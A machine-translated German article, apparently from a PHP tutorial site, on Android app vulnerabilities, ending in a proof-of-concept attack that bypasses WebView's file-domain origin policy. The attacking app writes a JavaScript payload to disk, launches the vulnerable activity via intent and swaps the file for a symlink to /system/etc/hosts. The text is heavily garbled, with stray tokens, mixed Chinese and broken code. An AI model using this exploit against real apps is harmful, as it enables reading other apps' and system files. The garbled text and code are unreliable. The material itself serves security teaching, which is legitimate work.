Grundkenntnisse der Android-Architektur
Kernel-Kernelschicht
Schwachstellen sind äußerst schädlich und äußerst vielseitig
Aufgrund der großen Anzahl und Komplexität der Treiber kann es auch viele Lücken geben
Bibliotheken-Systemlaufzeitbibliotheksschicht
Die in Form von System-Middleware bereitgestellte Laufzeitbibliothek
umfasst libc, WebKit, SQLite usw.
AndroidRunTime
Dalvik-Virtual-Machine- und Kernel-Bibliothek
FrameWork-Anwendungsframeworkschicht
stellt eine Reihe bereit von Diensten und API-Schnittstellen
Andoroid Common Komponenten
Aktivitätsaktivitäten
ContentProvider Content Provider
Android App Common Vulnerabilities (OWASP Mobile Top. 10) Unsachgemäße Nutzung der Plattform
Missbrauch oder Nichtnutzung von Plattformfunktionen. Möglichkeit, die Sicherheitskontrollen der Plattform zu nutzen. Zum Beispiel vorsätzlicher Missbrauch, Missbrauch von Berechtigungen usw.
Die Risiken
sind sehr groß und können verschiedene Dienste auf der mobilen Plattform betreffenMODE_PRIVATE
SQLiteDatabases
Daten/Datenpaketname/Datenbank/*.db
Erkennungsmethode
Überprüfen Sie, ob in der Konfiguration vertrauliche Klartextinformationen vorhanden sind Dateien, Datenbanken usw.
Mining-Methode
Codeerkennung
Überprüfen Sie openFileOutput, getSharedPrefreences, openOrCreateDatabase usw. Funktional Ob der Modusparameter ist. MODE_PRIVATE(0x0000)
Verwendung von Klartextprotokollen wie HTTP zur Übertragung sensibler Informationen an den Server
Über LAN-Sniffing, böswilliges öffentliches WLAN, böswillige Proxy-Dienste, DNS-Hijacking und andere Mittel wird die Kommunikation im Klartext erfasst, was dazu führt Man-in-the-Middle-Angriffe
Überprüfen Sie, ob dies der Fall ist return-void
Ein Fehler bei der Zertifikatsüberprüfung führt zu einer Ausnahme, und dann behandelt die Anwendung die Ausnahme bei der Zertifikatsüberprüfung
Wann Bei Verwendung von HttpsURLConnection wird der benutzerdefinierte HostnameVerifier während des Prozesses nicht implementiert. Bei der Überprüfung des Hostnamens wird standardmäßig nicht überprüft, ob der Zertifikatdomänenname mit dem Sitenamen übereinstimmt. Oder wenn Sie den HostnameVerifier von HttpsURLConnection festlegen, legen Sie ihn auf ALLOW_ALL_HOSTNAME_VERIIER fest, um alle Domänennamen zu akzeptieren p, Patch usw . Methode zur Umgehung
Komponentenexpositions-Schwachstelle
Android:exported ist ein den vier Hauptkomponenten gemeinsames Attribut, das angibt, ob dies der Fall ist unterstützt. Andere Anwendungen rufen die aktuelle Komponente auf 🎜#
# 🎜🎜#Berechtigungskontrolle exportierter exportierter Komponenten#🎜🎜 #
# ## erhalten
ECB-Modus ist anfällig für Analyse- oder Replay-Angriffe#🎜 🎜#
beliebige Codeausführung
# 🎜 🎜#
Wenn der Benutzer den in WebView eingegebenen Benutzernamen und das Passwort speichert, werden sie im Klartext in data.db gespeichert App-Verzeichnis #🎜 🎜#statische Analyse
Schnelle Erkennung und Beschaffung wichtiger Analyseziele
# 🎜🎜#
Debug-Modus-Analyse
Versuchen Sie den Betrieb/die Schwachstellenüberprüfung #🎜 ## ## 🎜🎜#
-
Automatisiertes Assistenzsystem
private WebView webView;
#🎜 🎜# privat String-URL;
@Override
protected void onCreate(Bundle savedInstanceState) {
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
webView.getSettings().setAllowFileAccessFromFileURLs(true);
webView.setWebChromeClient(new WebChromeClient() {
@Override public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
//Erforderliche Funktionalität hier
return super.onJsAlert(view, URL, Nachricht, Ergebnis);
}
});
webView.loadUrl(mUrl1);
}
class JSInterface {
public String onButtonClick(String text) {
final String str = text;
runOnUiThread(new Runnable() {
@Override public void run() {
Log.e ("leehong2", "onButtonClick: text = " + str); Toast.makeText(getApplicationContext() , "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();
}
});
return „Dieser Text wird von der Java-Ebene zurückgegeben. js text = „ + text;
}
public void onImageClick(String url, int width, int height) {
final String str = "onImageClick: text = " + url + " width = " + width + " height = " + height;
Log.i("leehong2", str);
runOnUiThread(new Runnable() {
@Override public void run() {
Toast.make Text(getApplicationContext(), str, Toast.LENGTH_LONG).show();
}
});
}
}
}
WebView.getSettings().setAllowFileAccessFromFileURLs(true) ist eine Datei mit JavaScript
我们再来看attack_file.html的代码:'Führen Sie zuerst WebViewFileDemo1 und dann AttackWebView aus, um WebView anzugreifen.
Wir schauen uns zunächst WebViewFileDemo1 an. Der Hauptcode lautet wie folgt:
package com.example.webviewfiledemo [/size][/font][/ p]
import android.content.Intent;
import android.os.Bundle;
import android.util.Log; android.webkit.JsResult;
import android.webkit.WebView;
import android.widget.Toast;
private WebView; Uri mUri;
private String-URL;
protected void onCreate(Bundle savingInstanceState) {
super.onCreate(savedInstanceState);
web Ansicht = (WebView) findViewById(R. id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JSInterface(), "jsInterface");
webView.getSettings().setAllowFileAccessFromFile URLs(false );
/ /webView.getSettings().setAllowFileAccess(false); using ’ s ’ ‐ ‐ ‐ ‐ // Erforderliche Funktionalität hier
return super.onJsAlert(view, url, message, result);
if (url != null) {
webView.loadUrl(url) ;
}
}
}
Diese Aktivität empfängt den Intent von außen, extrahiert die URL im Intent und lädt sie.
Dann schauen wir uns das AttackWebView-Projekt an, das das Projekt ist, das Intent an com.example.webviewfiledemo.MainActivity sendet. Der Code lautet wie folgt:
public class MainActivity erweitert Aktivität {
public final static String HTML =
„
“ +„Warten Sie ein paar Sekunden.“
„ <script>“ + „var d = document;“+ „</p> <p> „function doitjs(){“+ „var xhr = new XMLHttpRequest;“+ </p> <p> „xhr.onload = function(){“+ </p> <p> „var txt = xhr.responseText;“+ </p> <p> „d.body.appendChild(d.createTextNode(txt));“+ </p> <p> „alert(txt);“+“};“ + </p> <p> ”xhr .open('GET',d.URL);"+ </p> <p> "xhr.send(null);"+ </p> <p> "}"+ </p> <p> "setTimeout(doitjs,8000);"+ </p> <p> "</script>"+
"";
public static String MY_TMP_DIR;
@Override
protected void onCreate(Bundle savingInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();
doit();
}
public void doit() {
String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";
try {
cmdexec("mkdir " + MY_TMP_DIR);
cmdexec("echo "" + HTML + "" > " + HTML_PATH);
cmdexec("chmod -R 777 " + MY_TMP_DIR);
Thread.sleep(1000);
invokeVulnAPP("file://" + HTML_PATH);
Thread.sleep(6000);
cmdexec("rm " + HTML_PATH);
cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);
} Catch (Ausnahme e) {
// TODO: Ausnahme behandeln
}
#🎜 🎜# } #🎜🎜 #public void invokeVulnAPP(String url) {
try {
se(url));
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");
startActivity(intent);
} Catch (Ausnahme e) {
// TODO: Ausnahme behandeln
}
#🎜 🎜# } #🎜🎜 #public void cmdexec(String cmd) {
try {
String[] tmp = new String[] { "/system/bin/sh", „-c“, cmd };
Runtime.getRuntime().exec(tmp);
} Catch (Ausnahme e) {
// TODO: Ausnahme behandeln
}
#🎜 🎜# } #🎜🎜 #}
通过invokeVulnAPP,打开了com.example.webviewfiledemo.MainActivity并传递了Intent。这个Activity提取了Url,Url为/sdcard/payload_ode x/A0.html, webView了这个html,html内容如下:
public final static String HTML = "" +
"Warten Sie ein paar Sekunden." +
"<script>" +#🎜🎜 ## 🎜🎜#"var d = document;"+#🎜🎜 ## 🎜🎜##"Funktion doitjs () {"+#🎜🎜 ## 🎜🎜##"var xhr = new xmlhttprequest;"++++++++++++ </p> <p> "xhr.onload = function(){"+ </p> <p> "var txt = xhr.responseText;"+ </p> <p> "d.body. appendChild(d.createTextNode(txt));"+ </p> <p> "alert(txt);"+"};"+ </p> <p> "xhr.open('GET', d.URL);"+ </p> <p> "xhr.send(null);"+ </p> <p> "}"+ </p> <p> "setTimeout(doitjs,8000);"+ </p> <p> "</script>"+
"";
Wenn die WebView im WebViewFileDemo1-Projekt A0.html lädt, ist die Funktion dieses HTML besteht darin, 8 Sekunden zu verzögern, um A0.html selbst zu lesen. Kehren wir zum AttackWebView-Projekt zurück und schauen uns den Code an.
cmdexec("mkdir " + MY_TMP_DIR); invokeVulnAPP("file://" + HTML_PATH); cmdexec("rm " + HTML_PATH); cmdexec("ln -s " + "/system /etc/hosts" + " " + HTML_PATH);
Nach dem Aufruf von invokeVulnAPP, 6 Sekunden später löschen wir zunächst A0.html und stellen dann erneut eine Soft-Verbindung zu /system/etc/hosts her. Beachten Sie, dass, wenn die WebView im WebViewFileDemo1-Projekt zu diesem Zeitpunkt A0.html lädt, die Funktion dieses HTML darin besteht, das Lesen von A0.html selbst um 8 Sekunden zu verzögern, sodass die Soft-Verbindung /system/etc/hosts nach 8 Sekunden gelesen wird.
Das obige ist der detaillierte Inhalt vonBeispielanalyse zur Umgehung der WebView-Dateidomänen-Ursprungsrichtlinie für Sicherheitslücken. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!